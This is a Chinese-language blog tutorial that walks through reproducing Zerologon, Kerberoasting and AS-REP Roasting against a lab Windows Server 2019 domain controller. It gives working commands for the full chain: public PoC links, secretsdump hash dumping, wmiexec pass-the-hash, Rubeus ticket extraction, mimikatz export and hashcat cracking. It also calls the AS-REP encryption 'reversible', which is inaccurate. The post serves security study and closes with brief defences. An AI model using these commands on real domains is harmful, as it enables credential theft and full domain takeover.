域控制器漏洞复现--Zerologon、Kerberoasting、AS-REP Roasting

在上一篇文章中,我们系统拆解了域控制器的三大高危漏洞(Zerologon、Kerberoasting、AS-REP Roasting)的原理、危害与攻击路径。实操才是安全测试的核心 —— 本文将基于 Windows Server 2019 域控制器环境,一步步复现漏洞利用全流程,从漏洞检测、哈希抓取到权限获取。考虑到内网环境的特殊性,文中会兼顾 “简化测试(新增网络适配器直连)” 与 “模拟真实内网场景(流量转发)” 的适配性,流量转发配置的部分可参考前文,让不同需求的读者都能快速上手。

目录

环境搭建

1、Zerologon漏洞

2、Kerberoasting 漏洞

3、AS-REP Roasting攻击

总结



环境搭建

  • 域控制器:Windows Server 2019(域环境:hack.com,域控主机名:DC,IP:192.168.236.130)
  • 测试说明:内网环境下通常需通过 proxychains4 代理流量访问域控(前文已详述配置),本文为简化操作,直接为测试机新增网络适配器,与域控处于同一网段直连测试。

1、Zerologon漏洞

漏洞的原理我们这里就不多介绍·,在我的上一篇文章有进行详细的描述。域控制器漏洞-优快云博客

Zerologon漏洞的漏洞编号是-CVE-2020-1472,那么我们可以在网上找一些POC

首先就是漏洞测试脚本:https://github.com/SecuraBV/CVE-2020-1472

使用语法如下:

python3 zerologon_tester.py 域控制主机名 域控制器IP

可以看到,是存在zerologon漏洞,可以进行利用,那么接下来就是进行攻击,可以使用下面的poc,地址如下:VoidSec/CVE-2020-1472: Exploit Code for CVE-2020-1472 aka Zerologon

在这个POC中通过使用脚本是可以直接置空域控hash。

使用 Exploit 脚本置空域控制器计算机账户(DC)的密码哈希(注意:并非域控整体哈希,而是 账户 —— 域控的核心计算机账户)

然后使用如下命令抓取hash,下面命令使用的是impacket库中的脚本,如果说你是通过pip安装的,那么你就不用添加python3,如果不是,就要添加python3

secretsdump.py hack.com/DC\$@192.168.236.130 -no-pass

成功,我们在只知道域控制器的主机名和域控制器的IP地址的情况下,获得了域管理员的hash,那么我们就可以正式控制域控制器,比如使用impacket中的wmiexec.py脚本进行登录,使用命令如下

wmiexec.py -hashes :NTLM 域名/administrator@域控制器IP

成功获取权限。因为有很多的POC可以利用,所以这个漏洞复现是比较简单的。

2、Kerberoasting 漏洞

原理:通过请求域内 SPN(服务主体名称)绑定的服务票据,离线爆破票据中的服务账户密码哈希,适用于存在弱密码的服务账户。

首先需要先获得域内SPN服务,这里推荐使用工具Rubeus.exe工具进行扫描,使用命令如下

Rubeus.exe kerberoast

在定位完SPN后,就需要进行请求,使用下面的命令请求服务SPN

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "服务名称地址"

然后就通过mimikatz来进行票据的导出,使用的命令如下

kerberos::list /export

mimikatz导出的格式为.kirbi,用 hashcat 爆破,需将 .kirbi 格式转换为 hashcat 支持的格式,也可以通过Rubeus直接生成hashcat支持的格式

Rubeus.exe kerberoast /format:hashcat /outfile:hash.txt  # 直接导出为 hashcat 格式

导出后就可以通过hashcat直接进行破解

hashcat -m  13100  hash.txt  pass.txt

爆出账号密码后即可使用服务账号进行登录即可。

3、AS-REP Roasting攻击

原理:针对域内 “禁用预认证” 的用户,攻击者可伪造 AS-REQ 请求,获取 DC 返回的 AS-REP 响应包,离线爆破包中用用户哈希加密的会话密钥,最终还原用户密码。

这个和上面的前面的步骤都是差不多的。一个是扫描服务SPN,一个是扫描域内所有 “禁用预认证” 的用户。扫描并导出的命令的命令如下

Rubeus.exe asreproast /outfile:asrep_hash.txt  # 导出哈希到文件

主要原理是,AS 会跳过预认证验证,直接向 “任何发送 AS-REQ 的请求者” 返回 AS-REP。此时:攻击者可伪造该用户的 AS-REQ(只需知道用户名,无需密码),向 DC 发送请求;

DC 验证用户名存在且 “无需预认证”,直接返回 AS-REP;

攻击者获取 AS-REP 后,重点破解其中 “用用户 Hash 加密的 Client/TGS 会话密钥”—— 由于该字段的加密算法是可逆的(如 AES-256、RC4),攻击者可通过离线爆破(如用 Hashcat)还原出用户的密码 Hash,甚至明文密码。

总结

  1. Zerologon 漏洞无需提前获取任何凭证,仅需域控主机名 + IP 即可置空 DC$ 账户,进而抓取管理员哈希;
  2. Kerberoasting 针对服务账户,依赖 SPN 票据离线爆破,核心是字典质量与格式转换;
  3. AS-REP Roasting 瞄准 “禁用预认证” 的用户,无需交互即可获取爆破素材,适用于无凭证初始攻击。

安全防御

  • 及时给域控安装补丁(如 Zerologon 对应补丁 KB4593226),避免漏洞被利用;
  • 启用所有用户的 “预认证” 功能,禁止弱密码,定期轮换服务账户密码;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jieyu1119

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值